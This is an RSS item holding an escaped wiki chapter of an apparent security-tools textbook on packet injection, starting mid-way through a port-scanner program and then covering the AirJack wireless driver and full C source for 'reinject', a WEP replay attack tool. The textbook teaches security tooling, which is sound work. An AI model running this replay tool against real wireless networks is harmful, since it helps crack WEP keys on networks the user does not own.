                 NULL,    /* payload */&lt;br /&gt;
                 0,    /* payload len */&lt;br /&gt;
                 l,    /* libnet context */&lt;br /&gt;
                 ipv4);    /* protocol tag */&lt;br /&gt;
 &lt;br /&gt;
     if (ipv4 == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr,&lt;br /&gt;
            &amp;quot;Unable to build IPv4 header: %s\n&amp;quot;, libnet_geterror (l));&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
       /* write the packet */&lt;br /&gt;
       if ((libnet_write (l)) == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Unable to send packet: %s\n&amp;quot;,&lt;br /&gt;
            libnet_geterror (l));&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
       /* set variables for flag/counter */&lt;br /&gt;
       answer = 1;&lt;br /&gt;
       tv = time (NULL);&lt;br /&gt;
 &lt;br /&gt;
       /* capture the reply */&lt;br /&gt;
       while (answer)&lt;br /&gt;
     {&lt;br /&gt;
       pcap_dispatch (handle, -1, packet_handler, NULL);&lt;br /&gt;
 &lt;br /&gt;
       if ((time (NULL) - tv) &amp;gt; 2)&lt;br /&gt;
         {&lt;br /&gt;
           answer = 0;    /* timed out */&lt;br /&gt;
           printf (&amp;quot;Port %d appears to be filtered\n&amp;quot;, ports[i]);&lt;br /&gt;
         }&lt;br /&gt;
     }&lt;br /&gt;
     }&lt;br /&gt;
   /* exit cleanly */&lt;br /&gt;
   libnet_destroy (l);&lt;br /&gt;
   return 0;&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Introducing AirJack ==&lt;br /&gt;
&lt;br /&gt;
AirJack is a Linux 2.4 kernel device driver for wireless packet injection, and it's available at ''http://sourceforge.net/projects/airjack/''. AirJack comes with several tools and example programs for demonstrating several wireless security issues. Because AirJack is a device driver, it supports most of the wide variety of 802.11b PCMCIA cards based on the Intersil Prism 2 chipset.&lt;br /&gt;
&lt;br /&gt;
=== Installing AirJack ===&lt;br /&gt;
&lt;br /&gt;
AirJack can be challenging to install if you're not familiar with the configuration of the PCMCIA subsystem in Linux. The installation process consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# Obtain and unpack the latest version of AirJack from the home page.&lt;br /&gt;
# Obtain and unpack the source for the version of the ''pcmcia-cs'' package used by your Linux distribution. If this is not installed, obtain the latest version from ''http://pcmcia-cs.sourceforge.net/''.&lt;br /&gt;
# Configure the ''pcmcia-cs'' package to match your existing configuration using &amp;lt;tt&amp;gt;make&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;config&amp;lt;/tt&amp;gt;.&lt;br /&gt;
# Edit the AirJack makefile file to point to the ''pcmcia-cs'' directory just configured.&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;make&amp;lt;/tt&amp;gt; in the directory as your currently logged-in user.&lt;br /&gt;
# Run &amp;lt;tt&amp;gt;make&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;install&amp;lt;/tt&amp;gt; as the root (administrative) user.&lt;br /&gt;
&lt;br /&gt;
This installs a device driver called &amp;lt;tt&amp;gt;airjack_cs.o&amp;lt;/tt&amp;gt; into the modules directory for your Linux system. This driver isn't loaded by default for supported cards because the PCMCIA subsystem has to be configured to load the driver for your card. You can do this by creating an ''airjack.conf'' file in your PCMCIA configuration directory (commonly ''/etc/pcmcia'') containing the following:&lt;br /&gt;
&lt;br /&gt;
 device &amp;quot;airjack_cs&amp;quot;&lt;br /&gt;
     class &amp;quot;network&amp;quot; module &amp;quot;airjack_cs&amp;quot;&lt;br /&gt;
&lt;br /&gt;
This registers the &amp;lt;tt&amp;gt;airjack_cs.o&amp;lt;/tt&amp;gt; module as a valid PCMCIA device driver. To configure PCMCIA to load this driver, however, PCMCIA needs to be told to load the AirJack driver rather than other installed Prism 2 drivers.&lt;br /&gt;
&lt;br /&gt;
To configure PCMCIA to load a driver for a specific card, we need to know the card identification, which we can determine by running the &amp;lt;tt&amp;gt;cardctl&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;ident&amp;lt;/tt&amp;gt; command as follows:&lt;br /&gt;
&lt;br /&gt;
 $ cardctl ident&lt;br /&gt;
 Socket 0:&lt;br /&gt;
   product info: &amp;quot;SMC&amp;quot;, &amp;quot;SMC2532W-B EliteConnect Wireless Adapter&amp;quot;, &amp;quot;&amp;quot;, &amp;quot;&amp;quot;&lt;br /&gt;
   manfid: 0xd601, 0x0005&lt;br /&gt;
   function: 6 (network)&lt;br /&gt;
&lt;br /&gt;
This gives the manufacturer identification numbers and description of the card. You can use either the &amp;lt;tt&amp;gt;manfid&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;product info&amp;lt;/tt&amp;gt; fields to match the card to load the AirJack driver. You should add an entry to the ''airjack.conf'' file, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-10|Example 11-10]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-10&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-10. Example airjack.conf file'''&lt;br /&gt;
&lt;br /&gt;
 #example airjack pcmcia config file&lt;br /&gt;
 &lt;br /&gt;
 device &amp;quot;airjack_cs&amp;quot;&lt;br /&gt;
   class &amp;quot;network&amp;quot; module &amp;quot;airjack_cs&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 card &amp;quot;Intersil PRISM2 11 Mbps Wireless Adapter&amp;quot;&lt;br /&gt;
   version &amp;quot;D&amp;quot;, &amp;quot;Link DWL-650 11Mbps WLAN Card&amp;quot;&lt;br /&gt;
   manfid 0x0156, 0x0002&lt;br /&gt;
   bind &amp;quot;airjack_cs&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 card &amp;quot;SMC 2532W-B&amp;quot;&lt;br /&gt;
   #version &amp;quot;SMC&amp;quot;, &amp;quot;SMC2532W-B EliteConnect Wireless Adapter&amp;quot;&lt;br /&gt;
   manfid 0xd601, 0x0005&lt;br /&gt;
   bind &amp;quot;airjack_cs&amp;quot;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You should comment out matching values in other configuration files in the PCMCIA configuration directory.&lt;br /&gt;
&lt;br /&gt;
=== Using AirJack ===&lt;br /&gt;
&lt;br /&gt;
AirJack is a device driver supporting arbitrary packet capture and creation, and although you can use ''libpcap'' with AirJack to capture packets, you also can create packets using the Linux low-level sockets interface. To show you how to use AirJack for packet injection, we will use a simple reinjection tool called ''reinject'' .&lt;br /&gt;
&lt;br /&gt;
==== Overview of reinject ====&lt;br /&gt;
&lt;br /&gt;
''reinject'' is designed to capture a packet from the interface using ''libpcap'', and then to reinject the captured packet into the existing wireless conversation. This type of tool can be extended for use in attacking WEP encryption with a static key by capturing a packet that generates a response (i.e., an ARP request) and replaying it on the encrypted network many times to capture the encrypted replies (i.e., ARP replies). This works on networks with static WEP keys due to the lack of replay protection in the initial 802.11 standards. In conjunction with other attacks on WEP encryption, this approach can make it easier to determine a static WEP key.&lt;br /&gt;
&lt;br /&gt;
''reinject'' is a very simple tool in that it does not have the ability to change the channel on which it is capturing packets or sending data. AirJack ships with several examples that show you how to change channels within your tool.&lt;br /&gt;
&lt;br /&gt;
==== Using sockets with AirJack ====&lt;br /&gt;
&lt;br /&gt;
To open the AirJack interface for packet injection, we first need to create a socket, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-11|Example 11-11]]. The socket function is documented in the Linux manpages in Section 2 (&amp;lt;tt&amp;gt;man&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;2&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;socket&amp;lt;/tt&amp;gt;). In this example we open the socket to use the Linux low-level PF_PACKET interface (&amp;lt;tt&amp;gt;man 7 packet&amp;lt;/tt&amp;gt;) in a raw mode for all possible protocols.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-11&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-11. Opening the socket'''&lt;br /&gt;
&lt;br /&gt;
  /* open socket */&lt;br /&gt;
   if ((fd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) &amp;lt; 0)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Can't open socket\n&amp;quot;);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To send and receive in raw mode, we need to bind the open socket to a specific network interface. This requires finding the interface index as stored internally using an &amp;lt;tt&amp;gt;ioctl( )&amp;lt;/tt&amp;gt; call, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-13|Example 11-13]] (see &amp;lt;tt&amp;gt;man&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;7&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;netdevice&amp;lt;/tt&amp;gt; for more details on valid &amp;lt;tt&amp;gt;ioctl&amp;lt;/tt&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-12&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-12. Finding the interface index'''&lt;br /&gt;
&lt;br /&gt;
  /* find the interface index */&lt;br /&gt;
   strncpy (req.ifr_name, device, IFNAMSIZ);&lt;br /&gt;
 &lt;br /&gt;
   if (ioctl (fd, SIOCGIFINDEX, &amp;amp;req) &amp;lt; 0)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Can't find interface index\n&amp;quot;);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once we have the interface index and the socket, we can bind the socket to the interface, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-13|Example 11-13]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-13&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-13. Binding the socket and interface'''&lt;br /&gt;
&lt;br /&gt;
 /* bind socket to interface */&lt;br /&gt;
   addr.sll_ifindex = req.ifr_ifindex;&lt;br /&gt;
   addr.sll_protocol = htons (ETH_P_ALL);&lt;br /&gt;
   addr.sll_family = AF_PACKET;&lt;br /&gt;
 &lt;br /&gt;
   if (bind (fd, (struct sockaddr *) &amp;amp;addr, sizeof (struct sockaddr_ll)) &amp;lt; 0)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Can't bind interface\n&amp;quot;);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now we can start sending data to the wireless network, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-14|Example 11-14]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-14&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-14. Sending a packet out on the wireless network'''&lt;br /&gt;
&lt;br /&gt;
       if ((r = write (fd, (const void *) packet, header-&amp;gt;len)) &amp;lt; 0)&lt;br /&gt;
         {&lt;br /&gt;
           fprintf (stderr, &amp;quot;Error writing packet: %d\n&amp;quot;, cnt);&lt;br /&gt;
         }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The reinject Tool Source Code ===&lt;br /&gt;
&lt;br /&gt;
[[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-15|Example 11-15]] provides the full source code to the ''reinject'' tool. This should compile on most Linux systems as follows:&lt;br /&gt;
&lt;br /&gt;
 gcc -o reinject reinject.c&lt;br /&gt;
&lt;br /&gt;
This was written for Gentoo Linux. Other Linux distributions might require some minor tweaks to compile.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-15&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-15. Source code to the reinject tool'''&lt;br /&gt;
&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;asm/types.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;sys/ioctl.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;linux/if.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;netpacket/packet.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;net/ethernet.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;time.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;pcap.h&amp;gt;&lt;br /&gt;
 #include &amp;quot;80211.h&amp;quot;&lt;br /&gt;
 #include &amp;quot;airjack.h&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 #define PACKLEN 101&lt;br /&gt;
 &lt;br /&gt;
 /* globals */&lt;br /&gt;
 int fd;                /* socket file descriptor */&lt;br /&gt;
 &lt;br /&gt;
 /* usage */&lt;br /&gt;
 void&lt;br /&gt;
 usage (char *name)&lt;br /&gt;
 {&lt;br /&gt;
   printf (&amp;quot;%s - Simple WEP reinjection attack\n&amp;quot;, name);&lt;br /&gt;
   printf (&amp;quot;Usage: %s [-i interface]\n&amp;quot;, name);&lt;br /&gt;
   printf (&amp;quot;    -i    Interface to use\n&amp;quot;);&lt;br /&gt;
   exit (1);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void&lt;br /&gt;
 packet_handler (u_char * user, const struct pcap_pkthdr *header,&lt;br /&gt;
         const u_char * packet)&lt;br /&gt;
 {&lt;br /&gt;
   int i, r;&lt;br /&gt;
   static int cnt = 0;&lt;br /&gt;
 &lt;br /&gt;
   if ((header-&amp;gt;len &amp;lt; PACKLEN) &amp;amp;&amp;amp; (packet[0] == 0x08))&lt;br /&gt;
     {&lt;br /&gt;
       printf (&amp;quot;reinjecting packet %d %x %x\n&amp;quot;, cnt++, packet[0], packet[1]);&lt;br /&gt;
       for (i = 0; i &amp;lt; 2; i++)&lt;br /&gt;
     {&lt;br /&gt;
       if ((r = write (fd, (const void *) packet, header-&amp;gt;len)) &amp;lt; 0)&lt;br /&gt;
         {&lt;br /&gt;
           fprintf (stderr, &amp;quot;Error writing packet: %d\n&amp;quot;, cnt);&lt;br /&gt;
         }&lt;br /&gt;
       printf (&amp;quot;Wrote %d\n&amp;quot;, r);&lt;br /&gt;
     }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int&lt;br /&gt;
 main (int argc, char *argv[])&lt;br /&gt;
 {&lt;br /&gt;
   char *device = NULL;        /* device for sniffing/sending */&lt;br /&gt;
   char o;            /* for option processing */&lt;br /&gt;
   char errbuf[PCAP_ERRBUF_SIZE];    /* pcap error messages */&lt;br /&gt;
   pcap_t *handle;        /* libpcap handle */&lt;br /&gt;
   struct sockaddr_ll addr;    /* link layer socket handle */&lt;br /&gt;
   struct ifreq req;        /* interface request */&lt;br /&gt;
   time_t tv;            /* time */&lt;br /&gt;
 &lt;br /&gt;
   while ((o = getopt (argc, argv, &amp;quot;i:&amp;quot;)) &amp;gt; 0)&lt;br /&gt;
     {&lt;br /&gt;
       switch (o)&lt;br /&gt;
     {&lt;br /&gt;
     case 'i':&lt;br /&gt;
       device = optarg;&lt;br /&gt;
       break;&lt;br /&gt;
     default:&lt;br /&gt;
       usage (argv[0]);&lt;br /&gt;
       break;&lt;br /&gt;
     }&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   if (device == NULL)&lt;br /&gt;
     device = &amp;quot;aj0&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
   /* open the device with pcap */&lt;br /&gt;
   if ((handle = pcap_open_live (device, 3000, 1, 0, errbuf)) == NULL)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Error opening pcap: %s\n&amp;quot;, errbuf);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   if (pcap_datalink (handle) != DLT_IEEE802_11)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Wrong link layer - is %s an airjack interface?\n&amp;quot;,&lt;br /&gt;
            device);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   if (pcap_setnonblock (handle, 1, errbuf) &amp;lt; 0)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Can't set non blocking: %s\n&amp;quot;, errbuf);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   /* open socket */&lt;br /&gt;
   if ((fd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) &amp;lt; 0)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Can't open socket\n&amp;quot;);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   /* find the interface index */&lt;br /&gt;
   strncpy (req.ifr_name, device, IFNAMSIZ);&lt;br /&gt;
 &lt;br /&gt;
   if (ioctl (fd, SIOCGIFINDEX, &amp;amp;req) &amp;lt; 0)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Can't find interface index\n&amp;quot;);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   /* bind socket to interface */&lt;br /&gt;
   addr.sll_ifindex = req.ifr_ifindex;&lt;br /&gt;
   addr.sll_protocol = htons (ETH_P_ALL);&lt;br /&gt;
   addr.sll_family = AF_PACKET;&lt;br /&gt;
   if (bind (fd, (struct sockaddr *) &amp;amp;addr, sizeof (struct sockaddr_ll)) &amp;lt; 0)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Can't bind interface\n&amp;quot;);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   tv = time (NULL);&lt;br /&gt;
 &lt;br /&gt;
   while ((time (NULL) - tv) &amp;lt; 30)&lt;br /&gt;
     {&lt;br /&gt;
       pcap_dispatch (handle, -1, packet_handler, NULL);&lt;br /&gt;
     }&lt;br /&gt;
   return 0;&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</description>
			<pubDate>Tue, 11 Mar 2008 21:39:00 GMT</pubDate>			<dc:creator>Docbook2Wiki</dc:creator>			<comments>http://commons.oreilly.com/wiki/index.php/Talk:Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Packet-Injection_Tools</comments>		</item>
	</channel>
</rss>